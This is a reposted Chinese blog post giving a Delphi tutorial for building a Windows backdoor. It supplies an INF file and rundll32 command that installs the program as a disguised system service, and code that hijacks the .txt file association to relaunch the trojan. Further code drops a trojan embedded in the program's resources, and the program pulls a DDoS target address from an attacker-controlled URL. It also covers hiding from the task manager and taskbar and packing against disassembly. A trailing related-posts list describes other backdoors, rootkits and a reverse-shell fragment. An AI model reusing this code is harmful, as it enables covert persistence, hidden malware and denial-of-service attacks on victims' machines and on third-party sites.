[转帖]关于开发系统后门软件的几点思路

什么叫系统后门后门与漏洞有什么区别? ( Java面试题 | Java学习指南 ) 什么叫系统后门后门与漏洞有什么区别?近年爆发的勒索病毒案例中,被黑客利用的是Windows后门、还是漏洞? 后门,是一个系统的作者故意留下的、只有作者自己知道的机关。 比如,一个洞府看起来是铜墙铁壁,但是若在它前面前念一声"芝麻开门!"便会在墙壁上凭空打开一个门。这便是一个后门,这是系统的作者故意留下的机关。 再比如,打开手机拨号键... 阅读详情
作者:Delphiscn(cnBlaster#sohu.com) http://blog.csdn.net/Delphiscn
注释:这只是一篇临时的学习笔记

目录
1、前言
2、系统加载
3、文件关联
4、攻击控制
5、文件隐匿
6、附言

前言
现在的系统后门软件数不胜数,但大都有一个通病,就是系统加载方面很容易被精明的老鸟们察觉。而且遇上类似“天网”或是“金山网镖”的网络防火墙基本上就没戏了。前些天在网上看到了一篇名叫《Do all in cmd shell》的文章,里面关于程序加载的方式比较巧妙,对基于NT的2000/XP这样的系统基本上已经可以做到通用了。在此我用Delphi,并模仿一些经典后门软件的功能写一个Backdoor,希望与各位高手共同交流编程经验,也算是复习一下以前学习的知识:)

系统加载
读到这里,估计很多朋友会立即联想到HKLM/SOFTWARE/Microsoft/Windows/CurrentVersion/Run和Win.ini中的Load。没错,不过从实战角度出发,现在再用这样的启动方式已经有点落后了。而且如果你的程序实现的功能很多,但如果在启动方面出了问题,不是一件很郁闷的事吗?在此,根据 《Do all in cmd shell》作者的思路,我们可以自己写一个inf文件,利用这个文件配置一个系统服务程序。这样,我们的后门就可以在不知不觉中,随系统服务一起启动了。(不过此方案有一个局限性:只适用于NT/2000/XP)这里引用作者的原文:

现在,让我们用inf来添加一个系统服务
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet 信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%/inetsvr.exe
保存为inetsvr.inf,然后
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%/system32/inetsvr.inf(在这里我对原文做了点修改)
[注:%systemroot%是个环境变量,假设你的系统文件夹是C:/Windows,那么%systemroot%的路径就是C:/Windows(一般为98或是XP)假设你的系统文件夹为C:/winnt,那么%systemroot%的路径则为C:/winnt(一般为2K)]
这个例子增加一个名为inetsvr的服务(是不是很像系统自带的服务,呵呵)。
几点说明:
1,最后四项分别是
服务类型:0x10为独立进程服务,0x20为共享进程服务(比如svchost);
启动类型:0 系统引导时加载,1 OS初始化时加载,2 由SCM(服务控制管理器)自动启
动,3 手动启动,4 禁用。
(注意,0和1只能用于驱动程序)
错误控制:0 忽略,1 继续并警告,2 切换到LastKnownGood的设置,3 蓝屏。
服务程序位置:%11%表示system32目录,%10%表示系统目录(WINNT或Windows),%
12%为驱动目录system32/drivers。其他取值参见DDK。你也可以不用变量,直接使用全路
径。
这四项是必须要有的。
2,除例子中的六个项目,还有LoadOrderGroup、Dependencies等。不常用所以不介绍
了。
3,inetsvr后面有两个逗号,因为中间省略了一个不常用的参数flags。
删除一个服务:
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单,不是吗?

下面的步骤就是要在Delphi中调用这个inf安装服务。我们可以使用shellExecute这个函数,具体用法为
shellExecute(handle,nil,pchar('rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 %systemroot%/system32/inetsvr.inf'),nil,nil,sw_shownormal);
我觉得这里的sw_shownormal有点不是很好,因为在这个参数下。cmd shell的窗口是可见的,不知道你们有没有什么好的办法?但是,我觉得shellExecute函数有一个好处-------如果应用程序找不到inf,在电脑屏幕上不会有任何的反映。简单的说,就是不会报错:)当然,如果你不放心那也可以使用GetWindowsDirectory函数对inf文件进行绝对定位,不过在这里我觉得好象没有这个必要。
疑惑:在这里我们的共享类型ServiceType=0x10属于独立进程服务。估计这个病毒要访问Internet时会遭到防火墙的拦截。但是象类似svchost、lsass这样的共享进程服务却不会,如果我们把ServiceType的值改为0x20我想情况会有所改观,不过在这里我没有深入研究。

文件关联
按照惯例,我们可以对txt文本关联进行修改,将注册表中的键值指向我们的后门程序。下面这段代码可以做到这一点:)
var
  Backdoor: TRegistry;
  FileExt:String;
  FileType:String;
  FileDescription:String;
  ExecName:String;
  WinDir:String;
begin
  FileExt:='.txt';
  FileType:='文本文档';
  FileDescription:='文本文档';

  SetLength(WinDir,128);//获取Windows目录
  GetWindowsDirectory(PChar(WinDir),128);
  SetLength(WinDir,StrLen(PChar(WinDir)));
  ExecName:=WinDir+'/system32/inetsvr.exe';//这里的inetsvr.exe是我们的病毒程序

  Backdoor:=TRegistry.Create;//创建注册表对象
  try
    Backdoor.RootKey:=HKEY_CLASSES_ROOT;//注册表根键
    if not Backdoor.OpenKey(FileExt, True) then Exit; //当在注册表中创建文件类型失败时退出,一般是注册表错误
    Backdoor.WriteString('',FileType);//写文件类型数据
    Backdoor.CloseKey;

    if not Backdoor.OpenKey(FileType,True) then//打开文件类型FileType关键字
      Exit;
    Backdoor.WriteString('',FileDescription);//写文件描述数据
    if not Backdoor.OpenKey('shell/open/command', True) then//打开子键
       Exit;
    Backdoor.WriteString('',ExecName);
    Backdoor.CloseKey;//关闭关键字
   finally
    Backdoor.Free;//释放注册表对象
   end;
end;
这样,只要用户双击txt文件,我们的inetsvr.exe就会又跟着启动了。

攻击控制
前些日子在网上看到了一篇关于用bat批处理文件控制病毒程序攻击他人网站的一个例子。由于我对他的那个实例还没有完全搞清楚,不过我们可以使用其他办法来代替bat。下面我们来实现这个过程:
首先,可以申请一个主页空间(假设为
http://www.attack.com/delphiscn)。上传一个ipaddress.txt的文档。内容为192.168.0.1
这里的192.168.0.1为我们要攻击的网站地址。
在Delphi中添加如下语句:
var ipaddress:integer;
NMhttp.Get('http://www.attack.com/Delphiscn/ipaddress.txt');
ipaddress:=strtoint(NMhttp.Body);
NMhttp.Free;
这样,我们的程序就得到了要攻击的网站地址IPaddress,而且这个IPAddress可由我们自己控制:)
接下来就是论到攻击了,我们可以在程序中加入一段代码。向192.168.0.1不停的发送数据包。造成远程服务器拒绝响应,也就是经常提到的DDOS。当然你也可以用类似Ping这样的方法,由于比较简单,这里就不再细述了。

文件隐匿
如果你设计的程序功能比较强大,也许不止一个可执行文件,而且我们又不能象其他共享软件那样做安装程序。其中最简单的方法就是用copy/b setup.exe+run.exe set.exe这条命令把需要运行的程序加载在前一个可执行程序的后面,setup.exe文件的职责有两个,其一是显示假象让别人不知道这是一个木马安装程序,其二就是真实的目的从指定字长定位将木马服务程序截取下来并运行安装,由于木马服务部分采用了“隐形”技术,所以根本不会被察觉,代码部分就是定位拷贝,这里不在细述。还有一种方法是在资源文件RES中预先装入木马,并以数据形式存于当前可执行文件中,在合适的时机释放即可。下面这段代码可用于从RES中释放指定的文件:
procedure runvirus(from:pchar;Fileto:String);
var
   tempdir:string;
   Buf:pointer;
   size:longint;
   h,ResHandle:Cardinal;
   zip:File;
begin
h:=GetModuleHandle(pchar(extractFilename(paramstr(0))));
   tempdir:='';
      reshandle:=FindResource(h,Makeintresource(1),'DAT');
  buf:=Pointer(loadresource(h,reshandle));
   size:=SizeofResource(h,reshandle);
assignfile(zip,tempdir+fileto);
    rewrite(zip,1);
try
    blockwrite(zip,buf^,size)
finally
       closefile(zip);
  end;
end;
资源文件test.rc制作如下:
* 内容:   1    DAT      "test.exe"
* 制作:    BRCC32 test.rc
* 在资源文件中加入:
   {$R *.DFM}
   //加入test.RES,如果不加这一行,当木马释放文件时会找不着资源而报错,一定要注意这个问题:)
   {$R test.RES}
* 函数调用:
   if not Fileexists('test.exe') then runvirus('DAT','test.exe');
另外,附上几个比较常用的小技巧:
任务管理器中的隐形:
我们可以使用清除标题的方法:
program Project1;
uses
  Forms,
  Unit1 in 'Unit1.pas' {Form1};
{$R *.RES}
  begin
//此处设置标题的清除
Appilcation.Title:='';
Application.Initialize;
Application.CreateForm(TForm1,Form1);
Application.Run;
end.
工具栏上的隐形:
通过使用SetWindowLong函数即可:
SetWindowLong(Application,Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);
防止程序多次重复运行:
在制作利用端口进行服务的同时,经常要防止程序的重复执行,因为同一份拷贝在运行时会使用相同的IP地址和相同的端口,必然会产生冲突。所以,为了防止程序二次执行。我们可以在程序启动事件里加入如下代码:
假设我们的程序标题为Neverland
program Neverland;
uses
Forms,Windows,SysUtils,
Neverland in 'Neverland.pas' {Form1};
{$R *.RES}
var
  hMutex:HWND;
  Ret:Integer;
Begin
  Application.Initialize;
  Application.Title:='Neverland';
  hMutex:=CreateMutex(nil,False,'Neverland');
  Ret:=GetLastError;
  IF Ret<>ERROR_ALREADY_EXISTS Then
Begin
   Application.CreateForm(TForm1, Form1);
Application.Run;
  End
Else
  ReleaseMutex(hMutex);
end.

附言
通过上述改进,一个系统后门程序就已经初具雏形了。当然,如果您有兴趣,还可以对其功能进行扩充。最后,千万别忘了用ACPack对它加壳哦,这样会增加他人反汇编的困难。如果您有什么好的思路或方法,欢迎与大家一起讨论:)    

参考
《Do all in cmd shell》
 
http://www.hackeronline.cn/showart.asp?art_id=476&cat_id=7

计算机后门的功能及编程示例 计算机后门是一种隐藏在计算机系统中的功能或代码,它可以绕过正常的身份验证和安全措施,允许未经授权的访问和控制。然而,从伦理和法律的角度来看,开发和使用计算机后门是不被允许的。值得强调的是,上述示例只是为了说明后门的概念和实现方式,并不鼓励或支持非法活动。计算机后门是一种破坏性的工具,它违反了计算机系统的安全性和用户的隐私。在实际开发中,我们应该遵循合法和道德的原则,确保系统和用户的安全。在编程中,后门可以通过各种方式实现,这取决于目标系统的特征和开发者的技能。 阅读详情

相关推荐

DELPHI编写的后门程序

首先运行door.exe之后开一个dos窗口,运行telnet ip地址 8080之后会看到Welcome to hear.........Input You PassWord:输入密码8按回车出现You Input PassWord is OK!按回车之后就会出现对方的DOS窗口,这时你就的到了对方机器上的dos了输入DOS命令输入时会出现以下情况:telnet 10.0.0.3 8080 (10.0.0.3是运行后门的计算机IP地址)welcome to hear........(出现的欢迎信息)Input you password:8 (输入密码)you input password is ok! (密码正确按回车)Microsoft Windows XP [版本 5.1.2600] (回车后得到对方机器的dos)<C> 版权所有 1985-2001 Microsoft Corp.c:>d (输入DOS命令,这里只能输入一个字符,但他和下面的是一起的注意,由于程序的原因造成的)c:>ir/w (这样将命令输入完后按回车) (出现空行但没有返回的结果,说明命令成功,在按一下回车后出现返回的命令执行结果)c:>e (输入e将退出后门回到自己的DOS下)

后门的类型与kali生成后门如何实现,及如何使用

小小的讲一下后门程序以及kali如何进行后门的生成以及调用。

2301_77441874的博客 2389

DELPHI编写的后门远程控制程序

DELPHI编写的后门远程控制程序,可以得到对方的cmd,有密码验证。

黑客编程入门 之 后门编写初探

后门编写初探基本的执行DOS命令木马所需函数代码实现零管道木马和反弹木马零管道反弹木马木马功能的增强和扩展模块打造初步后门cmd shell 的自由切换模板 = 木马普通木马的自启动启动文件夹注册表启动其他 基本的执行DOS命令木马   我们现在先考虑最早的木马:将目标主机作为服务器,打开一个端口进行监听,攻击者就可以通过telnet进行连接。   DOS功能是木马必须拥有的最小的功能模块。那么我们现在的任务就是:1. 开创 cmd.exe 进程;2. 把 cmd 进程和客户的输入连起来。那么接下来介绍一下

Steve·Curcy 1941

rootkit后门程序开发测试过程

rkant = rootkit ant,它是利用netfilter hook开发的一款linux后门rootkit程序。 rkant包括服务器端程序(on victim server)和客户端程序(on user client pc),在ubuntu上面测试通过。 功能: 1、任意端口复用。端口复用,它就是在系统已经开放的端口上进行通讯,并且不影响系统的正常工作和服务的正常运行。 2、隐藏文件以...

Power of technology will free your body and spirit 2452

工控安全系统对抗之后门开发

#define _WINSOCK_DEPRECATED_NO_WARNINGS #include <WinSock2.h> #include <Windows.h> #pragma comment(lib,"ws2_32") int main() { WSADATA wsaData; SOCKET connSocket; struct sockaddr_in hax; WSAStartup(MAKEWORD(2, 2), &wsaData); connSoc

Alsn86的博客 758

window.showModalDialog的秘密

今天测试给我提了一个bug。登录测试地址,发现此bug可以重现。等到本机调试,却无法重现,无论是在jboss下还是在tomcat下都没有问题。于是到测试服务器上做实验,无论是jboss还是tomcat都有问题,各个版本都试过了。于是开始郁闷起来,苦苦找了一个多小时才发现问题所在。原来是这样:在A页面上点击一个链接,通过window.showModalDialog的方式弹出B页面,点击B页面上的按钮

honlin的专栏 691

Linux编程之给你的程序开后门

这里说的“后门”并不是教你做坏事,而是让你做好事,搭建自己的调试工具更好地进行调试开发。我们都知道,当程序发生异常错误时,我们需要定位到错误,有时我们还想,我们在不修改程序的前提下,就能通过log来定位错误呢?有人会说,我在我的程序里加多点打印就好了,程序每做一步我就加一行打印,到时一查log就知道程序在哪一步死掉的了。这个方法在小程序里也许会行得通,但是,在一个大型系统,每秒的log达到几百条,...

weixin_33938733的博客 187

如何创建后门

作 者: zer9 (zer9) 1999.05.03前言:本文之内容可以任意拷贝,传阅。在不违背作者原始 意图的情况下也可任意修改,但请在修改后mail给作 者一份。谢谢!---参考文献:Article: backdoor from The Infinity Concept Issue IISrc: b4b0.c by b4b0Src: daemonsh.pl ...

weixin_34038293的博客 896

你以为看到了软件的源码,就意味着没有后门吗?关于开发环境安全那点儿事儿

废话不多说,先看两个新闻 吃瓜群众带你了解 NMP 包 event-stream 被植入比特币后门的来龙去脉 “微信勒索病毒”全纪实:打扰了,我只是病毒界的杨超越 第二篇挺长的,先帮总结一下,各位看官有时间可以再慢慢看,挺有意思,可以当看小说打法时间 第一篇 Nodejs生态圈中一个重要的项目event-stream由于作者经历有限,就把开发维护的工作转让给了另一个人 结果这个人在这个项目里偷偷...

cowcomic的专栏 3826

开发的内核级后门程序

rootkit内核级后门 利用线程注射DLL到系统进程,解除DLL映射,并删除自身DLL和EXE文件,删除自身创建的服务,仅仅存在于内存中。于是在寄主机器上无法找到任何新增服务项,磁盘文件或者是进程空间里的不明DLL。关机时,该程序会截获关机的调用,在系统关闭之前恢复自己。 无文件无进程无服务无DLL不开任何端口,可以直连系统135,445,80等端口。运行后将躲开所有杀毒软件的查杀,中招...

alantop's blog 245

一个后门程序开发实例--基础VC版

<br /><br />作者:f286<br />下载本文示例源代码<br /><br />注:这个程序有一定的破坏性,请不要用于非法的目的!<br />代码运行效果图如下:<br /><br /><br />小弟最近看了VC知识库在线杂志第十二期中,有一篇《黑客攻击手段之偷梁换柱》突发灵感也想写一个黑客程序。经过了几天的搜集资料和试验终于写出了一个可以自动关闭IE和windows中自带游戏的小程序和大家分享,希望大家多提意见!<br /><br />我在程序中采用了两种方法:<br /><br />一种是

califan的专栏 2432

后门程序BDoor及源码

提交时间:2005-04-22提交用户:ffantasyYD工具分类:后门程序运行平台:Windows工具大小:316825 Bytes文件MD5 :95e120d97967a3679dfdbd82985ea1ca工具来源:http://www.uestc.edu.cn/web/default.aspx这是本人考研后的第一个作品(其实是很简陋的一个东西),拿出来共享,算是纪念考研成功吧!开放源代码

1432

PE可执行文件的镶入式程序后门开发

 /*      利用异常结构处理搜索GetProcAddress入口地址  */   #include     #include     main()   {          _asm       {           call ex//取得当前地址以计算异常结构开始的地址            mov     eax,0x7700

尹成的技术博客 4143

恶意软件分析实战03-一个后门的逆向分析

1. Lab03-03 先查壳发现无壳, VC++6.0编写: VT上走一波, 57个杀毒引擎认定是恶意的。 有资源表而且那么大,可能夹了私活: ResHacker查看资源节内容, 的确是带了东西,这玩意感觉也不像是多媒体资源。也有可能是被加密了存进去的或者加壳了。 来查询一下导入表: 该恶意程序只导入了kernel32.dll,从导入表的导入API来判断, 该恶意进程可能: 1. 使用了傀儡进程技术,即挂起创建一个合法的程序但却在内部执行非法的shellcode ...

輚至消亡 1322
上一篇: [原创]FST_BACKDOORv1.0未完成
下一篇: [转自luoluo's blog]CCProxy远程缓冲区溢出分析
forever_FST
博客等级 码龄22年 2粉丝 30原创
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值